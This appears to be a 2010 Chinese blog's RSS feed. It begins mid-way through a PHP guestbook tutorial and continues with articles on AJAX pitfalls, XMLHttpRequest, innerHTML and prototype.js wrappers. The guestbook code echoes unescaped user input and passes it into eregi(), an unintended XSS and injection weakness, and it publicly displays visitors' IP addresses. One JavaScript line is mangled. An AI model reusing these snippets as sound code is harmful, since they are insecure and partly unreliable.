}//循环结束符<br />
FOR($i=0;$i＜=$n;$i++){//进入循环<br />
fwrite($fp,$list[$i]);//将数组$list的每个单元为一行，写入文件gb.dat<br />
} //循环结束符<br />
fclose($fp);//关闭文件<br />
showmessage(“删除成功!”,”index.php”);//删除成功，自动返回主界面。<br />
} </p>
<p>5、数据查询程序段 </p>
<p>＜form action=”search.php” method=”post”＞<br />
＜font color=”#0099CC” size=”2&#8243;＞搜索关键字：<br />
＜input name=”found” type=”text” id=”found” style=”background-color:#FFFFFF; color:#8888AA; border: 1 double #3399CC” size=”12&#8243;＞<br />
＜input name=”submit” type=”image” src=”image/search.gif” alt=”留言搜索”＞<br />
＜/font＞＜/td＞ </p>
<p>＜/tr＞<br />
＜/table＞<br />
＜/form＞<br />
////////////////////////////////上面是搜索表单语句段<br />
＜?<br />
$id=0;<br />
$list=file(“gb.dat”);//读取整个gb.dat文件到数组$list,数组每一个元素为一条留言($list[0]是第一条留言的数据、$list[1]是第一条留言的数据&#8230;..<br />
$n=count($list);//计算$list内容里的留言总数,并赋予变量$n<br />
$found=trim($found);<br />
if (!$found){ //如果$found为假<br />
echo “＜center＞您没有输入任何关键字！＜/center＞”;//作相关显示<br />
}<br />
else {<br />
if($n＞0){//如果留言数大于0<br />
for ($i=0;$i＜$n;$i++) {//进入循环<br />
if(eregi($found,$list[$i])){//输入的关键字与数组$list[$i]里的字串进行匹配比较<br />
$row=explode(“　”,$list[$i]); $id=1; //如果找到匹配，就以”　”作为分隔符,切开留言信息$list[$i](第$i条留言),并将这些数据赋予数组$row.并将变量$id赋予1，以便作为是否找到匹配的判断。<br />
list($ip,$datetime,$name,$email,$home,$face,$qq,$head,$text,$reply)=$row;//将数组$row里的单元数据按顺序赋予括号里的变量<br />
?＞<br />
＜img src=＜? echo $head ?＞ ＞//显示客户形象图片<br />
＜br＞<br />
＜font color=”#0099CC”＞昵称【＜? echo $name ?＞＜font size=”2&#8243;＞】＜br＞//显示客户名<br />
发表于：＜? echo $datetime ?＞//显示留言发表时间<br />
＜br＞<br />
＜img src=＜? echo $face ?＞＞//显示客户留言表情图片<br />
＜? echo $name ?＞说:＜? echo $text; ?＞//显示客户留言内容<br />
＜br＞<br />
＜? echo $reply ?＞//显示回复内容<br />
＜br＞<br />
＜a href=”＜? echo $home ?＞” target=”_blank”＞访问＜? echo $name ?＞的主页＜/a＞//客户主页的超连接<br />
＜a href=”mailto:＜? echo $email ?＞”＞给＜? echo $name ?＞发信＜/a＞//客户E-MAIL的连接<br />
＜? echo $name ?＞的QQ号码是＜? echo $qq ?＞//显示客户的QQ号码<br />
＜? echo $name ?＞的IP地址为＜? echo $ip ?＞” //显示客户的IP地址<br />
＜a href=”reply.php?time=＜? echo $datetime ?＞”＞回复＜/a＞//留言回复的连接语句<br />
＜a href=”del.php?time=＜? echo $datetime ?＞”＞删除＜/a＞//留言删除的语句（以客户留言时间$datetime作为删除标识）<br />
＜br＞<br />
＜?<br />
}<br />
}//循环结束符<br />
}}<br />
if($id==0){ echo “＜center＞没有找到与关键字匹配的留言！＜/center＞”;}//如果$id＝0则表示没找到匹配，显示相关提示<br />
?＞ </p>
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		<title>AJAX应用程序开发七宗罪</title>
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		<pubDate>Sun, 25 Jul 2010 16:53:25 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>AJAX bandwagon是个好去处。它带给你更快、更高效、更强动态的应用。但它也有自身的缺陷。 初一看，具备一些常识似乎就能避免这些缺陷，在一定程度上，的确如此。但从DHTML起源来看，AJAX应用程序充满了结构性差异。不论你在应用程序开发工作中掌握了多少常识，从别人犯的错误中吸取教训也是有好处的。我们称这些错误为“七宗死罪”，但它们不能代表全部的错误。 事实上，在你犯这些致命过失之前，你可能首先犯了一些较轻的错误。因此我们从这里着手。这是每个人都可能犯的错误。这些错误是多么普遍，通过Google搜索一下，你就可以发现大部分的错误。 七宗轻罪 1．滥用Back按钮—这是每个人都会犯的错误。Back按钮在很多网页程序中已经成为用户的期望。很多AJAX研发新手在开发AJAX应用程序时，出于多种原因都敏捷地使用着Back按钮。首先，JavaScript对于它来说不是最友好的语言；其次，AJAX设计中需要一种全新的思考方式。 对于AJAX 研发新手“后退”显然不是最好的选择。“后退”是一种你更新页面，或更常见的，你需要在特定情况下进行“撤销”时才用到的功能。在进行编码前应认识到这些，或者你可能重复做功。 2．忘记告诉用户当前发生的状况—AJAX工作原理中的一部分是其不使用常规的网页用户界面加载程序。因此，你需要明确设计一些可视的提示，使用户了解正在发生的状况。 3．忽视链接—这也是AJAX的标准失误：漏做了程序外部用户可以剪贴的URL链接。我们都曾经多少次复制过URL链接然后将其发送给别人？当你在使用AJAX 时，提供给你的用户有用URL链接的唯一方法是，手动提供给他们。为什么？因为在AJAX程序中，服务器不提供JavaScript动态生成的这个页面！不要忽视你的用户可能感兴趣的这个网络应用中最普通的功能。既然服务器不支持，那你花点功夫为用户提供URLs。 4．用内容控制替代控制—如果你正在寻找动态的内容控制，那么对传统的客户服务器交互作用的突破对你来说可是件好事。但这也是一项罪过：在重写一个页面的某精确位置上的内容以调整用户的交互式体验时确实确实能够很好的控制，但这也将使你的页面不完整。通常，我们专注于处理页面的某一部分，而忘记服务器不刷新页面。这会导致页面凌乱，用户体验降低，当他们察看页面时可能看到过时的页面!把你的注意力放在整个页面; 确保出现动态页面的内容都得到更新。 5.累死蜘蛛 –AJAX的优势在于无需重装就可以提供给页面的大量的文本；AJAX的缺陷在于无需重装就可以提供给页面的大量的文本。如果应用被设置为对搜索引擎友好，那么，你能够想象会出现什么情况。无论页面中出现了什么，请务必在最上面植入足够稳定的文本，为蜘蛛们去玩耍吧。 产生乱码文本—AJAX不支持很多字符集。这不是涉及生死的局限性，但忘记它能够产生真的问题。最基本的字符集是UTF-8。不论JavaScript发送什么，别忘记正确地编码，并且根据内容设置服务器端的字符集。 没有为使用不支持JavaScript的浏览器的用户提供提示&#8211;有些浏览器不支持JavaScript，用户一时不能明白出了什么状况。请给他们提供提示。 实话实说，其中大部分是常识性问题。真正的问题都很容易让人忽视的。 相关博文2010年07月26日 -- ajax的缺点 (0)2010年07月26日 -- 使用Ajax时的十个常犯的错误 (0)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- Ajax的工作原理 (1)2010年05月23日 -- 《高性能网站建设指南》读书笔记 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- XMLHTTP对象封装技术 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2008年10月17日 -- 以人为本，美术资源的归档 (0)2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">AJAX</a> bandwagon是个好去处。它带给你更快、更高效、更强动态的应用。但它也有自身的缺陷。</p>
<p>初一看，具备一些常识似乎就能避免这些缺陷，在一定程度上，的确如此。但从DHTML起源来看，AJAX应用程序充满了结构性差异。不论你在应用程序开发工作中掌握了多少常识，从别人犯的错误中吸取教训也是有好处的。我们称这些错误为“七宗死罪”，但它们不能代表全部的错误。</p>
<p>事实上，在你犯这些致命过失之前，你可能首先犯了一些较轻的错误。因此我们从这里着手。这是每个人都可能犯的错误。这些错误是多么普遍，通过Google搜索一下，你就可以发现大部分的错误。<br />
<span id="more-484"></span><br />
七宗轻罪</p>
<p>1．滥用Back按钮—这是每个人都会犯的错误。Back按钮在很多网页程序中已经成为用户的期望。很多AJAX研发新手在开发AJAX应用程序时，出于多种原因都敏捷地使用着Back按钮。首先，JavaScript对于它来说不是最友好的语言；其次，AJAX设计中需要一种全新的思考方式。</p>
<p>对于AJAX 研发新手“后退”显然不是最好的选择。“后退”是一种你更新页面，或更常见的，你需要在特定情况下进行“撤销”时才用到的功能。在进行编码前应认识到这些，或者你可能重复做功。</p>
<p>2．忘记告诉用户当前发生的状况—AJAX工作原理中的一部分是其不使用常规的网页用户界面加载程序。因此，你需要明确设计一些可视的提示，使用户了解正在发生的状况。</p>
<p>3．忽视链接—这也是AJAX的标准失误：漏做了程序外部用户可以剪贴的URL链接。我们都曾经多少次复制过URL链接然后将其发送给别人？当你在使用AJAX 时，提供给你的用户有用URL链接的唯一方法是，手动提供给他们。为什么？因为在AJAX程序中，服务器不提供JavaScript动态生成的这个页面！不要忽视你的用户可能感兴趣的这个网络应用中最普通的功能。既然服务器不支持，那你花点功夫为用户提供URLs。</p>
<p>4．用内容控制替代控制—如果你正在寻找动态的内容控制，那么对传统的客户服务器交互作用的突破对你来说可是件好事。但这也是一项罪过：在重写一个页面的某精确位置上的内容以调整用户的交互式体验时确实确实能够很好的控制，但这也将使你的页面不完整。通常，我们专注于处理页面的某一部分，而忘记服务器不刷新页面。这会导致页面凌乱，用户体验降低，当他们察看页面时可能看到过时的页面!把你的注意力放在整个页面; 确保出现动态页面的内容都得到更新。</p>
<p>5.累死蜘蛛 –AJAX的优势在于无需重装就可以提供给页面的大量的文本；AJAX的缺陷在于无需重装就可以提供给页面的大量的文本。如果应用被设置为对搜索引擎友好，那么，你能够想象会出现什么情况。无论页面中出现了什么，请务必在最上面植入足够稳定的文本，为蜘蛛们去玩耍吧。</p>
<p>产生乱码文本—AJAX不支持很多字符集。这不是涉及生死的局限性，但忘记它能够产生真的问题。最基本的字符集是UTF-8。不论JavaScript发送什么，别忘记正确地编码，并且根据内容设置服务器端的字符集。<br />
没有为使用不支持JavaScript的浏览器的用户提供提示&#8211;有些浏览器不支持JavaScript，用户一时不能明白出了什么状况。请给他们提供提示。<br />
实话实说，其中大部分是常识性问题。真正的问题都很容易让人忽视的。</p>
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		<title>Ajax的工作原理</title>
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		<pubDate>Sun, 25 Jul 2010 16:50:59 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/ajaxeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Ajax的核心是JavaScript对象 XmlHttpRequest。该对象在Internet Explorer 5中首次引入，它是一种支持异步请求的技术。简而言之，XmlHttpRequest使您可以使用JavaScript向服务器提出请求并处理响应，而不阻塞用户。 　　在创建Web站点时，在客户端执行屏幕更新为用户提供了很大的灵活性。下面是使用Ajax可以完成的功能： * 动态更新购物车的物品总数，无需用户单击Update并等待服务器重新发送整个页面。 * 提升站点的性能，这是通过减少从服务器下载的数据量而实现的。例如，在Amazon的购物车页面，当更新篮子中的一项物品的数量时，会重新载入整个页面，这必须下载32K的数据。如果使用Ajax计算新的总量，服务器只会返回新的总量值，因此所需的带宽仅为原来的百分之一。 * 消除了每次用户输入时的页面刷新。例如，在Ajax中，如果用户在分页列表上单击Next，则服务器数据只刷新列表而不是整个页面。 * 直接编辑表格数据，而不是要求用户导航到新的页面来编辑数据。对于Ajax，当用户单击Edit时，可以将静态表格刷新为内容可编辑的表格。用户单击Done之后，就可以发出一个Ajax请求来更新服务器，并刷新表格，使其包含静态、只读的数据。 　　一切皆有可能！但愿它能够激发您开始开发自己的基于Ajax的站点。然而，在开始之前，让我们介绍一个现有的Web站点，它遵循传统的提交/等待/重新显示的范例，我们还将讨论Ajax如何提升用户体验。 原始的Ajax：直接使用XmlHttpRequest 　　如上所述，Ajax的核心是JavaScript对象XmlHttpRequest。下面的示例文章评价系统将带您熟悉Ajax的底层基本知识：http://tearesolutions.com/ajax-demo/raw-ajax.html。注：如果您已经在本地WebLogic容器中安装了ajax-demo.war，可以导航到http://localhost:7001/ajax-demo/raw-ajax.html， 　　浏览应用程序，参与投票，并亲眼看它如何运转。熟悉了该应用程序之后，继续阅读，进一步了解其工作原理细节。 　　首先，您拥有一些简单的定位点标记，它连接到一个JavaScriptcastVote(rank)函数。 function castVote(rank) { var url = “/ajax-demo/static-article-ranking.html”; var callback = processAjaxResponse; executeXhr(callback, url); } 　　该函数为您想要与之通信的服务器资源创建一个URL并调用内部函数executeXhr，提供一个回调JavaScript函数，一旦服务器响应可用，该函数就被执行。由于我希望它运行在一个简单的Apache环境中，“cast vote URL”只是一个简单的HTML页面。在实际情况中，被调用的URL将记录票数并动态地呈现包含投票总数的响应。 　　下一步是发出一个XmlHttpRequest请求： function executeXhr(callback, url) { // branch for native XMLHttpRequest object if (window.XMLHttpRequest) { req = new XMLHttpRequest(); req.onreadystatechange = [...]]]></description>
			<content:encoded><![CDATA[<p>Ajax的核心是JavaScript对象 XmlHttpRequest。该对象在Internet Explorer 5中首次引入，它是一种支持异步请求的技术。简而言之，XmlHttpRequest使您可以使用JavaScript向服务器提出请求并处理响应，而不阻塞用户。 </p>
<p>　　在创建Web站点时，在客户端执行屏幕更新为用户提供了很大的灵活性。下面是使用Ajax可以完成的功能： </p>
<p>* 动态更新购物车的物品总数，无需用户单击Update并等待服务器重新发送整个页面。<br />
* 提升站点的性能，这是通过减少从服务器下载的数据量而实现的。例如，在Amazon的购物车页面，当更新篮子中的一项物品的数量时，会重新载入整个页面，这必须下载32K的数据。如果使用Ajax计算新的总量，服务器只会返回新的总量值，因此所需的带宽仅为原来的百分之一。<br />
* 消除了每次用户输入时的页面刷新。例如，在Ajax中，如果用户在分页列表上单击Next，则服务器数据只刷新列表而不是整个页面。<br />
* 直接编辑表格数据，而不是要求用户导航到新的页面来编辑数据。对于Ajax，当用户单击Edit时，可以将静态表格刷新为内容可编辑的表格。用户单击Done之后，就可以发出一个Ajax请求来更新服务器，并刷新表格，使其包含静态、只读的数据。<br />
　　一切皆有可能！但愿它能够激发您开始开发自己的基于Ajax的站点。然而，在开始之前，让我们介绍一个现有的Web站点，它遵循传统的提交/等待/重新显示的范例，我们还将讨论Ajax如何提升用户体验。 <span id="more-482"></span></p>
<p>原始的Ajax：直接使用XmlHttpRequest </p>
<p>　　如上所述，Ajax的核心是JavaScript对象XmlHttpRequest。下面的示例文章评价系统将带您熟悉Ajax的底层基本知识：http://tearesolutions.com/<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">ajax</a>-demo/raw-<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">ajax</a>.<a href="http://www.5bay.cn/tag/html" class="st_tag internal_tag" rel="tag" title="标签 html 下的日志">html</a>。注：如果您已经在本地WebLogic容器中安装了ajax-demo.war，可以导航到http://localhost:7001/<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">ajax</a>-demo/raw-<a href="http://www.5bay.cn/tag/ajax" class="st_tag internal_tag" rel="tag" title="标签 ajax 下的日志">ajax</a>.html， </p>
<p>　　浏览应用程序，参与投票，并亲眼看它如何运转。熟悉了该应用程序之后，继续阅读，进一步了解其工作原理细节。<br />
　　首先，您拥有一些简单的定位点标记，它连接到一个JavaScriptcastVote(rank)函数。 </p>
<p>function castVote(rank) {<br />
var url = “/ajax-demo/static-article-ranking.html”;<br />
var callback = processAjaxResponse;<br />
executeXhr(callback, url);<br />
} </p>
<p>　　该函数为您想要与之通信的服务器资源创建一个URL并调用内部函数executeXhr，提供一个回调JavaScript函数，一旦服务器响应可用，该函数就被执行。由于我希望它运行在一个简单的Apache环境中，“cast vote URL”只是一个简单的HTML页面。在实际情况中，被调用的URL将记录票数并动态地呈现包含投票总数的响应。<br />
　　下一步是发出一个XmlHttpRequest请求： </p>
<p>function executeXhr(callback, url) {<br />
// branch for native XMLHttpRequest object<br />
if (window.XMLHttpRequest) {<br />
req = new XMLHttpRequest();<br />
req.onreadystatechange = callback;<br />
req.open(“GET”, url, true);<br />
req.send(null);<br />
} // branch for <a href="http://www.5bay.cn/tag/ie" class="st_tag internal_tag" rel="tag" title="标签 ie 下的日志">IE</a>/Windows ActiveX version<br />
else if (window.ActiveXObject) {<br />
req = new ActiveXObject(“Microsoft.XMLHTTP”);<br />
if (req) {<br />
req.onreadystatechange = callback;<br />
req.open(“GET”, url, true);<br />
req.send();<br />
}<br />
}<br />
} </p>
<p>　　如您所见，执行一个XmlHttpRequest并不简单，但非常直观。和平常一样，在JavaScript领域，大部分的工作量都花在确保浏览器兼容方面。在这种情况下，首先要确定XmlHttpRequest是否可用。如果不能用，很可能要使用Internet Explorer，这样就要使用所提供的ActiveX实现。 </p>
<p>executeXhr()方法中最关键的部分是这两行： </p>
<p>req.onreadystatechange = callback;<br />
req.open(“GET”, url, true); </p>
<p>　　第一行定义了JavaScript回调函数，您希望一旦响应就绪它就自动执行，而req.open()方法中所指定的“true”标志说明您想要异步执行该请求。<br />
　　一旦服务器处理完XmlHttpRequest并返回给浏览器，使用req.onreadystatechange指派所设置的回调方法将被自动调用。<br />
function processAjaxResponse() {<br />
// only if req shows “loaded”<br />
if (req.readyState == 4) {<br />
// only if “OK”<br />
if (req.status == 200) {<br />
502 502&#8242;votes&#8217;).innerHTML = req.responseText;<br />
} else {<br />
alert(“There was a problem retrieving the <a href="http://www.5bay.cn/tag/xml" class="st_tag internal_tag" rel="tag" title="标签 xml 下的日志">XML</a> data:<br />
” +<br />
req.statusText);<br />
}<br />
}<br />
} </p>
<p>　　该代码相当简洁，并且使用了几个幻数，这使得难以一下子看出发生了什么。为了弄清楚这一点，下面的表格（引用自http://developer.apple.com/internet/webcontent/xmlhttpreq.html）列举了常用的XmlHttpRequest对象属性。 </p>
<p><a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" class="st_tag internal_tag" rel="tag" title="标签 属性 下的日志">属性</a> </p>
<p>描述 </p>
<p>onreadystatechange </p>
<p>每次状态改变所触发事件的事件处理程序 </p>
<p>readyState </p>
<p>对象状态值： </p>
<p>* 0 = 未初始化（uninitialized）<br />
* 1 = 正在加载（loading）<br />
* 2 = 加载完毕（loaded）<br />
* 3 = 交互（interactive）<br />
* 4 = 完成（complete） </p>
<p>responseText </p>
<p>从服务器进程返回的数据的字符串形式 </p>
<p>responseXML </p>
<p>从服务器进程返回的DOM兼容的文档数据对象 </p>
<p>status </p>
<p>从服务器返回的数字代码，比如404（未找到）或200（就绪） </p>
<p>statusText </p>
<p>伴随状态码的字符串信息 </p>
<p>　　现在processVoteResponse()函数开始显示出其意义了。它首先检查 XmlHttpRequest的整体状态以保证它已经完成（readyStatus == 4），然后根据服务器的设定询问请求状态。如果一切正常（status == 200）,就使用innerHTML属性重写DOM的“votes”节点的内容。 </p>
<p>　　既然您亲眼看到了XmlHttpRequest对象是如何工作的，就让我们利用一个旨在简化JavaScript与Java应用程序之间的异步通信的框架来对具体的细节进行抽象。</p>
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		<title>innerHTML、innerText和outerHTML的用法</title>
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		<pubDate>Sun, 25 Jul 2010 16:46:30 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[网络编程]]></category>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/innerhtmleenertexteeterhtmlqia.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>用法： &#60;div id=”test”&#62; &#60;span style=”color:red”&#62;test1&#60;/span&#62; test2 &#60;/div&#62; 在JS中可以使用： test.innerHTML: 　　也就是从对象的起始位置到终止位置的全部内容,包括Html标签。 　　上例中的test.innerHTML的值也就是“&#60;span style=”color:red”&#62;test1&#60;/span&#62; test2 ”。 test.innerText: 　　从起始位置到终止位置的内容, 但它去除Html标签 　　上例中的text.innerTest的值也就是“test1 test2”, 其中span标签去除了。 test.outerHTML: 　　除了包含innerHTML的全部内容外, 还包含对象标签本身。 　　上例中的text.outerHTML的值也就是&#60;div id=”test”&#62;&#60;span style=”color:red”&#62;test1&#60;/span&#62; test2&#60;/div&#62; 完整示例： &#60;div id=”test”&#62; &#60;span style=”color:red”&#62;test1&#60;/span&#62; test2 &#60;/div&#62; &#60;a href=”javascript:alert(test.innerHTML)”&#62;innerHTML内容&#60;/a&#62; &#60;a href=”javascript:alert(test.innerText)”&#62;inerHTML内容&#60;/a&#62; &#60;a href=”javascript:alert(test.outerHTML)”&#62;outerHTML内容&#60;/a&#62; 特别说明： 　　innerHTML是符合W3C标准的属性，而innerText只适用于IE浏览器，因此，尽可能地去使用innerHTML，而少用innerText，如果要输出不含HTML标签的内容，可以使用innerHTML取得包含HTML标签的内容后，再用正则表达式去除HTML标签，下面是一个简单的符合W3C标准的示例： &#60;a href=”javascript:alert(document.getElementById(&#8216;test&#8217;).innerHTML.replace(/&#60;.+?&#62;/gim,”))”&#62;无HTML,符合W3C标准&#60;/a&#62; 相关博文2010年07月26日 -- Ajax的工作原理 (1)2010年07月26日 -- 基于JSON的高级AJAX开发技术 (0)2010年07月26日 -- AJAX的各种控件和类库 (0)2010年07月26日 -- [...]]]></description>
			<content:encoded><![CDATA[<p>用法：</p>
<p>&lt;<a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a> id=”test”&gt;<br />
&lt;span style=”color:red”&gt;test1&lt;/span&gt; test2<br />
&lt;/div&gt;</p>
<p>在JS中可以使用：</p>
<p>test.innerHTML:</p>
<p>　　也就是从对象的起始位置到终止位置的全部内容,包括Html标签。<br />
　　上例中的test.innerHTML的值也就是“&lt;span style=”color:red”&gt;test1&lt;/span&gt; test2 ”。</p>
<p>test.innerText:</p>
<p>　　从起始位置到终止位置的内容, 但它去除Html标签<br />
　　上例中的text.innerTest的值也就是“test1 test2”, 其中span标签去除了。</p>
<p>test.outerHTML:</p>
<p>　　除了包含innerHTML的全部内容外, 还包含对象标签本身。<br />
　　上例中的text.outerHTML的值也就是&lt;div id=”test”&gt;&lt;span style=”color:red”&gt;test1&lt;/span&gt; test2&lt;/div&gt;</p>
<p>完整示例：</p>
<p>&lt;div id=”test”&gt;<br />
&lt;span style=”color:red”&gt;test1&lt;/span&gt; test2<br />
&lt;/div&gt;</p>
<p>&lt;a href=”<a href="http://www.5bay.cn/tag/javascript" class="st_tag internal_tag" rel="tag" title="标签 javascript 下的日志">javascript</a>:alert(test.innerHTML)”&gt;innerHTML内容&lt;/a&gt;<br />
&lt;a href=”javascript:alert(test.innerText)”&gt;inerHTML内容&lt;/a&gt;<br />
&lt;a href=”javascript:alert(test.outerHTML)”&gt;outerHTML内容&lt;/a&gt;</p>
<p>特别说明：</p>
<p>　　innerHTML是符合W3C标准的属性，而innerText只适用于IE浏览器，因此，尽可能地去使用innerHTML，而少用innerText，如果要输出不含HTML标签的内容，可以使用innerHTML取得包含HTML标签的内容后，再用正则表达式去除HTML标签，下面是一个简单的符合W3C标准的示例：</p>
<p>&lt;a href=”javascript:alert(document.getElementById(&#8216;test&#8217;).innerHTML.replace(/&lt;.+?&gt;/gim,”))”&gt;无HTML,符合W3C标准&lt;/a&gt;</p>
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		<pubDate>Sun, 25 Jul 2010 16:43:39 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
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		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/xmlhttpe.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>Ajax技术的实现主要依赖于xmlhttprequest，但我们在调用其来进行异步数据的传输时，由于xmlhttp是个短线过程（处理事件完成后就销毁）如果不对该对象进行包装处理的话，就不得不在需要调用的地方重新构建xmlhttprequest，每次调用都要写一大段的代码，实在不是个好办法。好在现在很多开源的ajax框架都提供了对xmlhttp封装的方案。这里以ajaxtags自带的prototype-1.4.0.js为母版，来看看如何将xmlhttp对象封装成一个可复用的方法。 在prototype.js中，首先定义了一个变量：Ajax var Ajax = { getTransport: function() { return Try.these( function() {return new ActiveXObject(&#8216;Msxml2.XMLHTTP&#8217;)}, function() {return new ActiveXObject(&#8216;Microsoft.XMLHTTP&#8217;)}, function() {return new XMLHttpRequest()} ) &#124;&#124; false; }, activeRequestCount: 0 } 变量返回了一个xmlhttprequest，可以看到，如果我们调用了Ajax.getTransport()，每次都会返回一个新的xmlhttprequest对象。 在Ajax变量中定义了一个基础方法Ajax.Base和该基础方法的原型（初始时，每个脚本方法默认都有个空的原型，该原型会继承Object的原型，如果我们在Object中改变了原型，则所有的脚本方法都会被改变。） 该基础方法被Ajax.Request所继承，注意的是，如果在Ajax.Request中填充了继承的原型的同名方法或变量，则会实现重载。 Ajax.Base原型中最主要的是setOptions方法，过会我们就会用到。 setOptions: function(options) { this.options = { method: &#8216;post&#8217;, asynchronous: true, parameters: ” } prototype中对request是通过定义Ajax.Request原型（Ajax.Request.prototype）来实现的。 但我们并不能直接对Ajax.Request进行调用，主要原因是Ajax.Request并没有提供一个统一处理的过程。而且我们可能需要通过request 再取得response。（试想一下，客户那边发出一条信息，都始终没与收到回复，那是会让人觉得很恼火的事~），prototype同样为我们封装好了resoponse（Ajax.Responders），但两者都是相互独立的，如何把他们进行整合呢？ 在 prototype中给我们提供了两个方案，一个是Ajax.Updater，另一个是Ajax.PeriodicalUpdater，两个共同点都是必须传入3个参数： container： response数据要传达的位置，该位置通过html标签的id进行定义，比如你要把返回的数据输出到html中的某个＜div＞中，则只要把container改成该id的值就可以了。如果找不到该container，则会发生脚本错误。 url： [...]]]></description>
			<content:encoded><![CDATA[<p>Ajax技术的实现主要依赖于xmlhttprequest，但我们在调用其来进行异步数据的传输时，由于xmlhttp是个短线过程（处理事件完成后就销毁）如果不对该对象进行包装处理的话，就不得不在需要调用的地方重新构建xmlhttprequest，每次调用都要写一大段的代码，实在不是个好办法。好在现在很多开源的ajax框架都提供了对xmlhttp封装的方案。这里以ajaxtags自带的prototype-1.4.0.js为母版，来看看如何将xmlhttp对象封装成一个可复用的方法。</p>
<p>在prototype.js中，首先定义了一个变量：Ajax<br />
var Ajax = {<br />
getTransport: function() {<br />
return Try.these(<br />
function() {return new ActiveXObject(&#8216;Msxml2.XMLHTTP&#8217;)},<br />
function() {return new ActiveXObject(&#8216;Microsoft.XMLHTTP&#8217;)},<br />
function() {return new XMLHttpRequest()}<br />
) || false;<br />
},</p>
<p>activeRequestCount: 0<br />
}</p>
<p>变量返回了一个xmlhttprequest，可以看到，如果我们调用了Ajax.getTransport()，每次都会返回一个新的xmlhttprequest对象。<br />
<span id="more-470"></span><br />
在Ajax变量中定义了一个基础方法Ajax.Base和该基础方法的原型（初始时，每个脚本方法默认都有个空的原型，该原型会继承Object的原型，如果我们在Object中改变了原型，则所有的脚本方法都会被改变。） 该基础方法被Ajax.Request所继承，注意的是，如果在Ajax.Request中填充了继承的原型的同名方法或变量，则会实现重载。</p>
<p>Ajax.Base原型中最主要的是setOptions方法，过会我们就会用到。<br />
setOptions: function(options) {<br />
this.options = {<br />
method: &#8216;post&#8217;,<br />
asynchronous: true,<br />
parameters: ”<br />
}</p>
<p>prototype中对request是通过定义Ajax.Request原型（Ajax.Request.prototype）来实现的。</p>
<p>但我们并不能直接对Ajax.Request进行调用，主要原因是Ajax.Request并没有提供一个统一处理的过程。而且我们可能需要通过request 再取得response。（试想一下，客户那边发出一条信息，都始终没与收到回复，那是会让人觉得很恼火的事~），prototype同样为我们封装好了resoponse（Ajax.Responders），但两者都是相互独立的，如何把他们进行整合呢？</p>
<p>在 prototype中给我们提供了两个方案，一个是Ajax.Updater，另一个是Ajax.PeriodicalUpdater，两个共同点都是必须传入3个参数：</p>
<p>container：</p>
<p>response数据要传达的位置，该位置通过html标签的id进行定义，比如你要把返回的数据输出到html中的某个＜<a href="http://www.5bay.cn/tag/div" class="st_tag internal_tag" rel="tag" title="标签 div 下的日志">div</a>＞中，则只要把container改成该id的值就可以了。如果找不到该container，则会发生脚本错误。</p>
<p><a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">url</a>：</p>
<p>request请求要传递的目的地。该目的地应该是个servlet或jspservlet，因为request对象只能被servlet中的do***方法自动获取。</p>
<p>options：</p>
<p>结构应该与上面Ajax.Base定义的setOptions（）中的option结构相同，如果为空或不写，则采用 Ajax.Base定义的初始值（没有传递任何参数时使用）。</p>
<p>两者的区别在与Ajax.Updater返回给container的是完整的responseText，只有在responseText完全取得又没发生异常时才会把内容写到container里面，而PeriodicalUpdater在获取responseText时，不管是否已经完整取得，就把内容填进container，直到发生异常或完全取得responseText。大多数情况应该使用第一种方法，因为第一种方法在发生异常时会把异常信息显示在container里面，而第二种就不一定了。</p>
<p>既然已经把xmlhttp封装好了，我们只需要设置好前面所说的3个参数就可以了，要注意的是，设置options参数，一定要按照base中的options结构进行设置，如果我们使用post方法，还可以在opitons中设置postBody属性，把要传递的queryString 放到body中,一个使用post方法进行传递的脚本例子如下：</p>
<p>/*表单提交用post方法*/<br />
function doRequest(container,paraments,url){<br />
var options ={<br />
method: &#8216;post&#8217;,<br />
asynchronous: true,<br />
postBody: paraments<br />
};<br />
new Ajax.Updater(container,url,options);<br />
}</p>
<p>最后不得不说的是中文编码问题，prototype对传递的参数都进行了编码转换工作，每个传递值通过encodeURIComponent　进行了处理．编码会被转换成utf－8，在后台获取request时，应该统一使用request.setCharacterEncoding(“UTF-8&#8243;)对request设置编码，而不必管页面的编码格式是什么．如果使用post方法进行传递数据，则会自动执行:</p>
